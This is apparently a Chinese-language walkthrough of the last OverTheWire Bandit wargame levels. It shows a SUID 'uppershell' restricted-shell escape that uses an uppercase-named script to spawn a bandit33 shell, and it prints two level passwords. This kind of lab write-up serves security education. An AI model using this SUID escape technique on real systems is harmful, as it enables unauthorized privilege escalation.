`Writing objects: 100% (3/3), 287 bytes | 0 bytes/s, done.`
`Total 3 (delta 0), reused 0 (delta 0)`
`remote: ### Attempting to validate files... ####`
`remote:`
`remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.`
`remote:`
`remote: Well done! Here is the password for the next level:`
`remote: 56a9bf19c63d650ce78e6ec0354ee45e`
`remote:`
`remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.`
`remote:`
`To ssh://bandit31-git@localhost/home/bandit31-git/repo`
`! [remote rejected] master -> master (pre-receive hook declined)`
`error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo'`
`bandit31@bandit:/tmp/tmp.DBV43tK30K/repo
成功得到下一关的密码!
Level 32→ Level 33
描述:Good Luck我们先是找到这么一个脚本 `uppershell`
`bandit32@bandit:~$ ls -l`
`total 8`
`-rwsr-x--- 1 bandit33 bandit32 7668 Jul 22 18:59 uppershell`
这个脚本有 `SUID`权限,我们试试能不能通过它去调用 `cat`呢?
`bandit32@bandit:~$ ./uppershell cat /etc/bandit_pass/bandit33`
`WELCOME TO THE UPPERCASE SHELL`
`>>`
直接进入一个 `shell`看看能不能执行命令
`>> ls`
`sh: 1: LS: not found`
`>> ?`
`sh: 1: ?: not found`
`>> cat /etc/bandit_pass/bandit33`
`sh: 1: CAT: not found`
`>>`
好像什么都干不了啊。提示找不到相应的命令。为什么了,因为命令都被转为大写字母了。我们知道,在 `Linux`系统中,大小写严格区分的。所以我们看出来了,这个程序只能执行大写字母的命令。那我们是不是换一个思路,我们写一个脚本,脚本名字用大写字母,脚本内容执行一个 `shell`,然后运行这个脚本是不是可以呢?先在 `tmp` 目录中,新建一个临时目录,用来放写好的脚本
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ vim GETSHELL`
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ chmod 777 GETSHELL`
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ cat GETSHELL`
`#!/bin/bash`
`bash`
先执行脚本 `uppershell`,再调用我们写好的脚本试试
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ ~/uppershell`
`WELCOME TO THE UPPERCASE SHELL`
`>> ./GETSHELL`
`sh: 1: ./GETSHELL: Permission denied`
`>>`
权限不足?试试绝对路径
`>> /tmp/tmp.bvfaHIDns3/GETSHELL`
`sh: 1: /TMP/TMP.BVFAHIDNS3/GETSHELL: not found`
`>>`
坑了,路径都变成大写了。最后我试试改了下目录的权限
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ chmod 777 -R .`
`bandit32@bandit:/tmp/tmp.bvfaHIDns3$ ~/uppershell`
`WELCOME TO THE UPPERCASE SHELL`
`>> ./GETSHELL`
`bandit33@bandit:/tmp/tmp.bvfaHIDns3
我们的脚本被执行了,成功获取到了 `shell`,而且是 `bandit33`的 `shell`哦。这里你可能会奇怪,为什么我们在 `bandit32`用户下执行的命令,怎么变成 `bandit33`了。别忘了我们的脚本是通过 `uppershell`这个程序执行,而这个程序的所有者是 `bandit33`,并且具有 `SUID`权限。
`bandit32@bandit:~$ ls -l`
`total 8`
`-rwsr-x--- 1 bandit33 bandit32 7668 Jul 22 18:59 uppershell`
然后查看进入 `bandit33`的密码吧
`bandit33@bandit:/tmp/tmp.bvfaHIDns3$ cat /etc/bandit_pass/bandit33`
`c9c3199ddf4121b10cf581a98d51caee`
你以为就这样完了?没错!就是完了。官方暂时只更新到 Level33。
至此,Bandit 挑战全部33关完成。完结撒花~~~>
参考文档:> > [黑客GIT指南]> > https://wildlyinaccurate.com/a-hackers-guide-to-git/#git-reflog